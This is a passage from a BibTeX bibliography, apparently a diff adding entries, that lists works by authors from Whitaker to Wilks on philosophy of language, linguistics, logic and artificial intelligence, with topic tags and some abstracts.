{019823619-0}, + topic = {Aristotle;history-of-logic;future;contingent-propositions;} + } + +@incollection{ whitaker_ha:1971a, + author = {Harry A. Whitaker}, + title = {Neurolinguistics}, + booktitle = {A Survey of Linguistic Science}, + publisher = {Privately Published, Linguistics Program, University of + Maryland.}, + year = {1971}, + editor = {William Orr Dingwall}, + pages = {136--251}, + address = {College Park, Maryland}, + topic = {neurolinguistics;} + } + +@article{ whitaker_sf:1989a, + author = {Sidney F. Whitaker}, + title = {Apostrophe Rule's {OK}: At Least in {S}pain}, + journal = {English Today}, + year = {1989}, + volume = {5}, + number = {4}, + pages = {42--44}, + topic = {punctuation;} + } + +@book{ whitby:1817a, + author = {Daniel {Whitby, D.D.}}, + title = {A Discourse Concerning the True Import of the Words `Election + and Reprobation' and the Things Signified by them in the Holy Scripture}, + publisher = {F.C. and J Rivington}, + year = {1817}, + address = {Orme}, + edition = {Fourth}, + xref = {Whitby is one of J. Edwards chief targets.}, + topic = {freedom;} + } + +@incollection{ white_a:1969a, + author = {Alan White}, + title = {Mentioning the Unmentionable}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {219--225}, + address = {London}, + missinginfo = {E's 1st name.}, + xref = {Commentary on searle:1969a.}, + topic = {JL-Austin;ordinary-language-philosophy;presupposition; + pragmatics;} + } + +@article{ white_ar:1972a, + author = {Alan R. White}, + title = {The Propensity Theory of Probability}, + journal = {British Jounral for Philosophy of Science}, + year = {1972}, + volume = {23}, + pages = {35--43}, + missinginfo = {number}, + topic = {foundations-of-probability;propensity;} + } + +@article{ white_by-frederiksen:1990a, + author = {Barbara Y. White and John R. Frederiksen}, + title = {Causal Model Progressions as a Foundation for Intelligent + Learning Environments}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {1}, + pages = {99--157}, + topic = {causality;intelligent-tutoring;} + } + +@article{ white_d:1985a, + author = {David E. White}, + title = {Slippery Slope Arguments}, + journal = {Metaphilosophy}, + year = {1985}, + volume = {16}, + pages = {206--213}, + topic = {vagueness;} + } + +@incollection{ white_g-etal:1998a, + author = {Graham White and John Bell and Wilfrid Hodges}, + title = {Building Models of Prediction Theories}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {557--568}, + address = {San Francisco, California}, + topic = {kr;temporal-reasoning;action-formalisms;kr-course;} + } + +@article{ white_jl:1991a, + author = {James L. White}, + title = {Knowledge and Deductive Closure}, + journal = {Synth\'ese}, + year = {1991}, + volume = {86}, + number = {3}, + pages = {409--423}, + topic = {hyperintensionality;skepticism;} + } + +@article{ white_js:2000a, + author = {John S. White}, + title = {Review of {\it Breadth and Depth of Semantic Lexicons}, by + {E}velyne {V}iegas}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {652--656}, + xref = {Review of: viegas:1999a.}, + topic = {computational-semantics;computational-lexical-semantics; + computational-lexicography;} + } + +@article{ white_m:1965a, + author = {Morton White}, + title = {On What Could Have Happened}, + journal = {Philosophical Review}, + year = {1965}, + volume = {77}, + pages = {73--89}, + missinginfo = {number}, + topic = {counterfactual-past;} + } + +@inproceedings{ white_m:1995a, + author = {Michael White}, + title = {Presenting Punctuation}, + pages = {107--125}, + booktitle = {Proceedings of the Fifth {E}uropean Workshop on + Natural Language Generation}, + address = {Leiden, Netherlands}, + year = {1995}, + topic = {punctuation;} + } + +@incollection{ white_m-caldwell:1998a, + author = {Michael White and Ted Caldwell}, + title = {{EXEMPLARS}: A Practical, Extensible Framework for Dynamic + Text Generation}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {266--275}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;} + } + +@article{ white_mj:1976a, + author = {Michael J. White}, + title = {Davidson and Non-Trivial {T}-Sentences}, + journal = {Erkenntnis}, + year = {1976}, + volume = {10}, + pages = {87--97}, + missinginfo = {number}, + topic = {Davidson-semantics;} + } + +@book{ white_pa:1995a, + author = {Peter A. White}, + title = {The Understanding of Causality and the Production of Action}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Mahwah, New Jersey}, + topic = {causality;agency;cognitive-psychology;} + } + +@article{ white_rb:1979a, + author = {Richard B. White}, + title = {The Consistency of the Axiom of Comprehension in the + Infinite-Valued Predicate Logic of {\L}ukasiewicz}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {4}, + pages = {509--534}, + contentnote = {Proves consistency of ax of comp in many-valued + logic with infinitely many values. This was conjectured + by Skolem.}, + topic = {axiom-of-comprehension;many-valued-logic;} + } + +@book{ whitehead_an-russell_b:1925a, + author = {Alfred North Whitehead and Bertrand Russell}, + title = {Principia Mathematica}, + edition = {Second}, + publisher = {Cambridge University Press}, + year = {1925}, + volume = {I}, + address = {Cambridge, England}, + topic = {logic-classics;foundations-of-mathematics;logicism;} + } + +@article{ whitehead_sd-lin_lj:1995a, + author = {Steven D. Whitehead and Long-Ji Lin}, + title = {Reinforcement Learning of Non-{M}arkov Decision Processes}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {271--306}, + acontentnote = {Abstract: + Techniques based on reinforcement learning (RL) have been used + to build systems that learn to perform nontrivial sequential + decision tasks. To date, most of this work has focused on + learning tasks that can be described as Markov decision + processes. While this formalism is useful for modeling a wide + range of control problems, there are important tasks that are + inherently non-Markov. We refer to these as hidden state tasks + since they arise when information relevant to identifying the + state of the environment is hidden (or missing) from the agent's + immediate sensation. Two important types of control problems + that resist Markov modeling are those in which (1) the system + has a high degree of control over the information collected by + its sensors (e.g., as in active vision), or (2) the system has a + limited set of sensors that do not always provide adequate + information about the current state of the environment. + Existing RL algorithms perform unreliably on hidden state tasks. + This article examines two general approaches to extending + reinforcement learning to hidden state tasks. The Consistent + Representation (CR) Method unifies recent approaches such as the + Lion algorithm, the G-algorithm, and CS-QL. The method is useful + for learning tasks that require the agent to control its sensory + inputs. However, it assumes that, by appropriate control of + perception, the external states can be identified at each point + in time from the immediate sensory inputs. A second, more + general set of algorithms in which the agent maintains internal + state over time is also considered. These stored-state + algorithms, though quite different in detail, share the common + feature that each derives its internal representation by + combining immediate sensory inputs with internal state which is + maintained over time. The relative merits of these methods are + considered and conditions for their useful application are + discussed. + } , + topic = {reinforcement-learning;hidden-state-tasks;} + } + +@article{ whiteley_ch:1971a, + author = {C.H. Whiteley}, + title = {Mr. {G}ustafson on DOubting One's Own Intentions}, + journal = {Mind}, + year = {1971}, + volume = {80}, + number = {317}, + pages = {108}, + xref = {COmmentary on gustafson:1974a.}, + topic = {intention;philosophy-of-action;} + } + +@book{ whitelock:1987a, + editor = {P. Whitelock}, + title = {Linguistic Theory and Computer Applications}, + publisher = {Academic Press}, + year = {1987}, + address = {London}, + note = {Proceedings of a workshop held at the Centre for Computational + Linguistics, University of Manchester Institute of Science and + Technology, 4--6 September 1985.}, + ISBN = {0127472207}, + topic = {nl-processing;} + } + +@article{ whitely_ch:1963a, + author = {C.H. Whitely}, + title = {`{C}an'\, } , + journal = {Analysis}, + year = {1963}, + volume = {23}, + pages = {91--93}, + missinginfo = {number}, + topic = {ability;} + } + +@article{ whitley_d-etal:1996a, + author = {Darrell Whitley and Soraya Rana and John Dzubera and + Keith E. Mathias}, + title = {Evaluating Evolutionary Algorithms}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {245--276}, + topic = {genetic-algorithms;} + } + +@article{ wick-thompson_wb:1992a, + author = {Michael R. Wick and William B. Thompson}, + title = {Reconstructive Expert System Explanation}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {54}, + number = {1--2}, + pages = {33--70}, + acontentnote = {Abstract: + Existing explanation facilities are typically far more + appropriate for knowledge engineers engaged in system + maintenance than for end-users of the system. This is because + the explanation is little more than a trace of the detailed + problem-solving steps. An alternative approach recognizes that + an effective explanation often needs to substantially reorganize + the actual line of reasoning and bring to bear additional + information to support the result. Explanation itself becomes a + complex problem-solving process that depends not only on the + actual line of reasoning, but also on additional knowledge of + the domain. This paper presents a new computational model of + explanation and argues that it results in significant + improvements over traditional approaches. } , + topic = {explanation;expert-systems;} + } + +@incollection{ wiebe-etal:1997a, + author = {Janyce Wiebe and Tom O'Hara and Kenneth McKeever and + Thorsten \"Ohrstr\"m-Sandgren}, + title = {An Empirical Approach to Temporal Reference Resolution}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {174--186}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;temporal-reference;} + } + +@incollection{ wiebe-etal:1998a, + author = {Janyce Wiebe and Tom O'Hara and Rebecca Bruce}, + title = {Constructing {B}ayesian Networks from {W}ord{N}et + for Word-Sense Disambiguation: Representational + and Processing Issues}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {23--30}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;lexical-disambiguation;} + } + +@incollection{ wiehagen:1991a, + author = {Rolf Wiehagen}, + title = {A Thesis in Inductive Inference}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {184--207}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {learning-theory;} + } + +@article{ wierzbicka:1975a, + author = {Anna Wierzbicka}, + title = {Topic, Focus, and Deep Structure.}, + journal = {Papers in Linguistics}, + year = {1975}, + volume = {8}, + pages = {3--58}, + missinginfo = {number}, + topic = {s-topic;pragmatics;} + } + +@book{ wierzbicka:1975b, + author = {Anna Wierzbicka}, + title = {Semantic Primitives}, + publisher = {Athen\"aeum Verlag}, + year = {1975}, + address = {Frankfurt}, + note = {Translated by A. Wierzbicka and Cliff Goddard.}, + topic = {lexical-semantics;semantic-primitives;} + } + +@book{ wierzbicka:1980a, + author = {Anna Wierzbicka}, + title = {Lingua Mentalis: The Semantics of Natural Language}, + publisher = {Academic Press}, + year = {1980}, + address = {Sydney}, + note = {Translated by A. Wierzbicka and Cliff Goddard.}, + topic = {cognitive-semantics;foundations-of-semantics;} + } + +@book{ wierzbicka:1980b, + author = {Anna Wierzbicka}, + title = {The Case for Surface Case}, + publisher = {Karoma Publishers}, + year = {1980}, + address = {Ann Arbor, Michigan}, + ISBN = {0897200276 (cloth)}, + topic = {case-grammar;} + } + +@article{ wierzbicka:1987a, + author = {Anna Wierzbicka}, + title = {Boys Will Be Boys: `Radical Semantics' vs. + `Radical Pragmatics'\, } , + journal = {Language}, + year = {1987}, + volume = {63}, + number = {1}, + pages = {95--114}, + missinginfo = {A's 1st name}, + topic = {implicature;pragmatics;} + } + +@book{ wierzbicka:1991a, + author = {Anna Wierzbicka}, + title = {Cross-Cultural Pragmatics: The Semantics of Human + Interaction}, + publisher = {Mouton de Gruyter}, + year = {1991}, + address = {New York}, + ISBN = {0899256996}, + topic = {pragmatics;sociolinguistics;cultural-anthropology;} + } + +@book{ wierzbicka:1992a, + author = {Anna Wierzbicka}, + title = {Semantics, Culture, and Cognition}, + publisher = {Oxford University Press}, + year = {1992}, + address = {Oxford}, + topic = {nl-semantics;cultural-anthropology;psycholinguistics;} + } + +@book{ wierzbicka:1992b, + author = {Anna Wierzbicka}, + title = {Semantics, Primes, and Universals}, + publisher = {Oxford University Press}, + year = {1992}, + address = {Oxford}, + topic = {semantic-primitives;nl-semantics;} + } + +@article{ wierzbicka:1992c, + author = {Anna Wierzbicka}, + title = {Talking about Emotions: Semantics, Culture, and + Cognition}, + journal = {Cognition and Emotion}, + volume = {6}, + number = {3/4}, + pages = {285--319}, + year = {1992}, + topic = {emotion;} + } + +@incollection{ wiggins:1965a, + author = {David Wiggins}, + title = {Identity-Statements}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + address = {Oxford}, + pages = {40--71}, + topic = {identity;individuation;} + } + +@incollection{ wiggins:1971a, + author = {David Wiggins}, + title = {On Sentence-Sense, Word-Sense, and Difference + of Word-Sense. Towards a Philosophical Theory + of Dictionaries}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {13--34}, + address = {Cambridge, England}, + topic = {ambiguity;lexical-semantics;dictionary-construction; + philosophy-of-language;word-sense;nl-semantics;} + } + +@incollection{ wiggins:1971b, + author = {David Wiggins}, + title = {A Reply to {M}r. {A}lston}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {48--52}, + address = {Cambridge, England}, + topic = {ambiguity;lexical-semantics;dictionary-construction; + philosophy-of-language;word-sense;nl-semantics;} + } + +@incollection{ wiggins:1973a, + author = {David Wiggins}, + title = {Towards a Reasonable Libertarianism}, + booktitle = {Essays on Freedom of Action}, + year = {1973}, + editor = {Ted Honderich}, + publisher = {Routledge and Kegan Paul}, + pages = {33--61}, + address = {London}, + topic = {freedom;volition;} + } + +@incollection{ wiggins:1976a, + author = {David Wiggins}, + title = {The {\em De Re} `Must': A Note on the + Logical Form of Essentialist Claims}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John Mc{D}owell}, + pages = {285--312}, + address = {Oxford}, + topic = {individual-attitudes;essentialism;} + } + +@incollection{ wiggins:1978a, + author = {David Wiggins}, + title = {Deliberation and Practical Reason}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {144--152}, + address = {Oxford}, + topic = {practical-reasoning;} + } + +@incollection{ wiggins:1994a, + author = {Geraint A. Wiggins}, + title = {Improving the {Whelk} System: A + Type-Theoretic Reconstruction}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {231--247}, + address = {Berlin}, + topic = {logic-program-synthesis;} + } + +@incollection{ wiggins:1995a, + author = {David Wiggins}, + title = {Putnam's Doctrine of Natural Kind Words and + {F}rege's Doctrines of Sense, Reference, and Extension: + Can They Cohere?}, + booktitle = {Frege, Sense and Reference One Hundred Years Later}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {John I. Biro and Petr Kotatko}, + pages = {59--74}, + address = {Dordrecht}, + topic = {Frege;intensionality;reference;natural-kinds;} + } + +@article{ wigner:1960a, + author = {Eugene P. Wigner}, + title = {The Unreasonable Effectiveness of Mathematics in the + Natural Sciences}, + journal = {Communications in Pure and Applied Mathematics}, + year = {1960}, + volume = {13}, + pages = {1--14}, + topic = {philosophy-of-mathematics;} + } + +@incollection{ wigner:1971a, + author = {E. Wigner}, + title = {Quantum-Mechanical Distribution Functions Revisited}, + booktitle = {Perspectives in Quantum Theory}, + year = {1971}, + editor = {W. Yourgraw and A. van der Merwe}, + publisher = {The {MIT} Press}, + pages = {25--36}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-quantum-mechanics;} + } + +@incollection{ wilcock:1998a, + author = {Graham Wilcock}, + title = {Approaches to Syntactic Realization with {HPSG}}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {218--227}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;HPSG;} + } + +@article{ wilcock:2000a, + author = {Graham Wilcock}, + title = {Review of {\it Systemic Functional Grammar in Natural Language + Generation: Linguistic Description and Computational + Representation}, by Elke {T}eich}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {291--293}, + xref = {Review of: teich:1999a.}, + topic = {systemic-grammar;nl-generation;} + } + +@incollection{ wildgen:1981a, + author = {Wolfgang Wildgen}, + title = {Archetypal Dynamics in Word Semantics: An + Application of Catastrophe Theory}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {234--296}, + address = {Berlin}, + topic = {lexical-semantics;catastrophe-theory;} + } + +@incollection{ wildgen:1983a, + author = {Wolfgang Wildgen}, + title = {Modelling Vagueness in Catastrophe-Theoretic Semantics}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {317--360}, + address = {Amsterdam}, + topic = {vagueness;catastrophe-theory;} + } + +@article{ wilensky:1981a, + author = {Robert Wilensky}, + title = {Meta-Planning: Representing and Using Knowledge about + Planning in Problem Solving and Natural Language Understanding}, + journal = {Cognitive Science}, + year = {1981}, + volume = {5}, + pages = {197--233}, + missinginfo = {number}, + topic = {planning;metaplanning;nl-interpretation;} + } + +@book{ wilensky:1983a, + author = {Robert Wilensky}, + title = {Planning and Understanding: A Computational Approach to + Human Reasoning}, + publisher = {Addison-Wesley}, + year = {1983}, + address = {Reading, Massachusetts}, + xref = {Reviews: russell_dm:1984a, berlin:1984a.}, + topic = {planning;nl-interpretation;plan-recognition;} + } + +@article{ wilensky:1988a, + author = {Robert Wilensky David N. Chin and Marc Luria and James + Martin and James Mayfield and Dekai Wu}, + title = {The Berkeley {UNIX} Consultant Project}, + journal = {Computational Linguistics}, + year = {1988}, + volume = {14}, + number = {4}, + pages = {35--84}, + topic = {nl-tutoring;} + } + +@incollection{ wilensky:1991a, + author = {Robert Wilensky}, + title = {The Ontology and Representation of Situations}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {558--569}, + address = {San Mateo, California}, + topic = {kr;computatinal-semantics;kr-course;} + } + +@book{ wilkes:1988a, + author = {Kathleen Wilkes}, + title = {Real People: Personal Identity without Thought Experiments}, + publisher = {Oxford University Press}, + year = {1988}, + address = {Oxford}, + ISBN = {0198249551}, + topic = {cognitive-psychology;philosophical-thought-experiments;} + } + +@article{ wilkins-ma_y:1994a, + author = {David C. Wilkins and Yong Ma}, + title = {The Refinement of Probabilistic Rule Sets: Sociopathic + Interactions}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + number = {1--2}, + pages = {1--32}, + acontentnote = {Abstract: + Probabilistic rules in a classification expert system can result + in a sociopathic knowledge base, as a consequence of the + assumption of conditional independence between observations and + rule modularity. A sociopathic knowledge base has the property + that all the rules are individually judged to be correct rules, + yet a subset of the knowledge base gives better classification + accuracy than the original knowledge base, independent of the + amount of computational resources that are available. + This paper describes how sociopathic interactions cause rule + induction and refinement methods to converge to local optima + with respect to maximizing classification accuracy. The problem + of optimally refining sociopathic knowledge bases is modeled as + a bipartite graph minimization problem and shown to be NP-hard. + A heuristic rule refinement algorithm for sociopathic reduction, + called SOCIO-REDUCER, is presented. Experimental results in a + medical diagnosis domain show that it can reduce the diagnosis + error rate by 10.5%. } , + topic = {diagnosis;automatic-classification;} + } + +@article{ wilkins_de:1980a1, + author = {David E. Wilkins}, + title = {Using Patterns and Plans in Chess}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {2}, + pages = {165--203}, + xref = {Republication: wilkins_de:1980a2.}, + topic = {game-playing;planning;} + } + +@incollection{ wilkins_de:1980a2, + author = {David E. Wilkins}, + title = {Using Patterns and Plans in Chess}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {390--409}, + address = {Los Altos, California}, + xref = {Journal Publication: wilkins_de:1980a1.}, + topic = {game-playing;planning;} + } + +@article{ wilkins_de:1982a, + author = {David E. Wilkins}, + title = {Using Knowledge to Control Tree Searching}, + journal = {Artificial Intelligence}, + volume = {18}, + number = {1}, + year = {1982}, + pages = {1--51}, + topic = {search;heuristics;plan-algorithms;} + } + +@article{ wilkins_de:1984a, + author = {David E. Wilkins}, + title = {Domain-Independent Planning: Representation and Plan + Generation}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {3}, + pages = {269--301}, + topic = {planning;planning-algorithms;} + } + +@book{ wilkins_de:1988a, + author = {David E. Wilkins}, + title = {Practical Planning: Extending the Classical {AI} Paradigm}, + publisher = {Morgan Kaufmann}, + year = {1988}, + address = {San Mateo, California}, + topic = {planning;} + } + +@article{ wilkins_de-etal:1995a, + author = {David E. Wilkins and Karen L. Myers and J.D. Lowrance}, + title = {Planning and Reacting in Uncertain and Dynamic Environments}, + journal = {Journal of Experimental and Theoretical {AI}}, + year = {1995}, + volume = {7}, + number = {1}, + pages = {197--227}, + missinginfo = {A's 1st name}, + topic = {execution-monitoring;plan-execution;} + } + +@article{ wilkins_de-myers_kl:1995a, + author = {David E. Wilkins and Karen L. Myers}, + title = {A Common Knowledge Representation for Plan Generation + and Reactive Execution}, + journal = {Journal of Logic and Computation}, + year = {1995}, + volume = {5}, + number = {6}, + pages = {731--761}, + missinginfo = {A's 1st name}, + topic = {execution-monitoring;plan-execution;} + } + +@book{ wilkins_w:1981a, + editor = {Wendy Wilkins}, + title = {Constraints on Rule Form---The Implications for + Degree-2 Learnability}, + publisher = {Indiana University Linguistics Club}, + year = {1981}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {L1-language-learning;} + } + +@book{ wilkins_w:1988a, + editor = {Wendy Wilkins}, + title = {Syntax and Semantics 21: Thematic Relations}, + publisher = {Academic Press}, + year = {1988}, + address = {New York}, + topic = {thematic-roles;} + } + +@phdthesis{ wilkinson:1991a, + author = {Karina Wilkinson}, + title = {Studies in the Semantics of Generic Noun Phrases}, + school = {University of Massachusetts}, + year = {1991}, + address = {Amherst}, + topic = {generics;} + } + +@inproceedings{ wilkinson:1993a, + author = {Karina Wilkinson}, + title = {Towards a Unified Semantics of Even: A Reply to {R}ooth}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {III}}, + year = {1993}, + editor = {Utpal Lahiri and Zachary Wyner}, + pages = {182--201}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {polarity;`even';} + } + +@incollection{ wilkinson:1995a, + author = {Karina Wilkinson}, + title = {The Semantics of the Common Noun `Kind'}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {383--397}, + address = {Chicago, IL}, + topic = {generics;natural-kinds;} + } + +@article{ wilkinson:1996a, + author = {Karina Wilkinson}, + title = {The Scope of `Even'\, } , + journal = {Natural Language Semantics}, + year = {1996}, + volume = {4}, + number = {3}, + pages = {193--215}, + topic = {`even';implicature;sentence-focus;pragmatics;} + } + +@book{ wilks:1972a, + author = {Yorick Wilks}, + title = {Grammar, Meaning, and the Machine Analysis of Language}, + publisher = {Routledge and Kegan Paul}, + year = {1972}, + address = {London}, + topic = {nl-processing;nl-interpretation;} + } + +@article{ wilks:1975a, + author = {Yorick Wilks}, + title = {A Preferential, Pattern-Seeking, Semantics for Natural + Language Inference}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {1}, + pages = {53--74}, + acontentnote = {Abstract: + The paper describes the way in which a Preference Semantics + system for natural language analysis and generation tackles a + difficult class of anaphoric inference problems: those requiring + either analytic (conceptual) knowledge of a complex sort, or + requiring weak inductive knowledge of the course of events in + the real world. The method employed converts all available + knowledge to a canonical template form and endeavors to create + chains of nondeductive inferences from the unknowns to the + possible referents. Its method for this is consistent with the + overall principle of ``semantic preference'' used to set up the + original meaning representation. } , + topic = {anaphora;computational-semantics;} + } + +@article{ wilks:1977a, + author = {Yorik WIlks}, + title = {Good and Bad Arguments about Semantic Primitives}, + journal = {Communication and Cognition}, + year = {1977}, + volume = {10}, + number = {3/4}, + pages = {181--221}, + topic = {semantic-primitives;} + } + +@article{ wilks:1978a, + author = {Yorick Wilks}, + title = {Making Preferences More Active}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {11}, + number = {3}, + pages = {197--223}, + acontentnote = {Abstract: + The paper discusses the incorporation of richer semantic + structures into the Preference Semantics system: they are called + pseudo-texts and capture something of the information expressed + in one type of frame proposed by Minsky (q.v.). however, they + are in a format, and subject to rules of inference, consistent + with earlier accounts of this system of language analysis and + understanding. Their use is discussed in connection with the + phenomenon of extended use: sentences where the semantic + preferences are broken. It is argued that such situations are + the norm and not the exception in normal language use, and that + a language understanding system must give some general treatment + of them. A notion of sense projection is proposed, leading on to + an alteration of semantic formulas (word sense representations) + in the face of unexpected context by drawing information from + the pseudo texts. A possible implementation is described, based + on a new semantic parser for the Preference Semantics system, + which would cope with extended use by the methods suggested and + answer questions about the process of analysis itself. It is + argued that this would be a good context in which to place a + language understander (rather than that of question-answering + about a limited area of the real world, as is normal) and, + moreover, that the sense projection mechanisms suggested would + provide a test-bed on which the usefulness of frames for + language understanding could be realistically assessed. } , + topic = {text-understanding;word-sense;} + } + +@incollection{ wilks:1985a, + author = {Yorick Wilks}, + title = {Relevance and Beliefs}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {265--289}, + address = {New York}, + topic = {pragmatics;implicature;relevance-theory;} + } + +@book{ wilks:1989a, + editor = {Yorick Wilks}, + title = {Theoretical Issues in Natural Language Processing}, + publisher = {Lawrence Erlbaum}, + year = {1989}, + address = {Hillsdale, New Jersey}, + ISBN = {0805801839}, + contentnote = {TC: + 1. Donald E. Walker, "The World of Words" + 2. Branimir K. Boguraev, "The Definitional Power of Words" + 3. Robert A. Amsler, "Words and Worlds" + 4. Jerry R. Hobbs, "World Knowledge and Word Meaning" + 5. Judy Kegl, "The Boundary between Word Knowledge and World + Knowledge" + 6. Gerald Gazdar, "COMIT >* PATR II" + Steve Pulman, "Unification and the New Grammatism" + 7. Aravind K. Joshi, "Unification and Some New Grammatical Formalisms" + 8. David L. Waltz, "Connectionist Models: Not Just a + Notational Variant, Not a Panacea" + 9. Garrison W. Cottrell, "Toward Connectionist Semantics" + 10. Eugene Charniak, "Connectionism and Explanation" + 11. James L. McClelland, "Parallel Distributed Processing and + Role Assignment Constraints" + 12. Wendy G. Lehnert, "Towards a Semantic Theory of Discourse" + 13. C. Raymond Perrault, "Possible Implication of Connectionism" + 14. Robert Wilensky, "Some Complexities of Goal Analysis" + 15. Norman K. Sondheimer, "The Rate of Progress in Natural + Language Processing" + 16. Larry Birnbaum, "Let's put the AI back in NLP" + 17. David J. Israel, "On formal Versus Commonsense Semantics" + 18. Yorick Wilks, "On Keeping Logic in Its Place" + 19. Karen Sparck Jones, "They Say It's a New Sort of Engine: But + the Sump's Still There" + 20. Deborah A. Dahl, "Determiners, Entities, and Contexts" + 21. Amichai Kronfeld, "Goals of Referring Acts" + 22. Bradley A. Goodman, "Viewing Metaphor as Analogy: The Good, + the Bad, and the Ugly" + 23. Dedre Gentner and Brian Falkenhainer and Janice + Skorstad, "Reference and Reference Failures" + 22. Andrew Ortony and Lynn Fainsilber, "The Role of + Metaphors in Descriptions of Emotions" + 23. Edwin Plantinga, "Mental Models and Metaphor" + 24. Aravind K. Joshi, "Generation: A New Frontier of + Natural Language Processing?" + 25. David D. McDonald, "No better, but No Worse, than People" + 26. Douglas E. Appelt, "Bidirectional Grammars and the Design of + Natural Language Generation Systems" + } , + topic = {nl-processing;} + } + +@incollection{ wilks-fass:1992a, + author = {Yorick Wilks}, + title = {The Preference Semantics Family}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {205--221}, + address = {Oxford}, + topic = {kr;semantic-networks;nl-semantic-representation-formalisms; + kr-course;} + } + +@incollection{ wilks:1994a, + author = {Yorik Wilks}, + title = {Stone Soup and the {F}rench Room}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {585--595}, + address = {Pisa and Dordrecht}, + topic = {machine-translation;statistical-nlp;} + } + +@article{ wilks:1999a, + author = {Yorick Wilks}, + title = {Review of {Evaluating Natural Language Processing + Systems: An Analysis and a Review}, by + {K}aren {S}parck {J}ones and {J}ulia {R}. {G}alliers}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {1}, + pages = {165--170}, + xref = {Review of jones_ks-galliers:1995a.}, + topic = {nlp-evaluation;} + } + +@book{ wilks:1999b, + editor = {Yorick Wilks}, + title = {Machine Conversations}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Boston}, + ISBN = {0792385446 (alk. paper)}, + topic = {computational-dialogue;} + } + +@article{ will-pennington:1971a, + author = {P.M. Will and K.S. 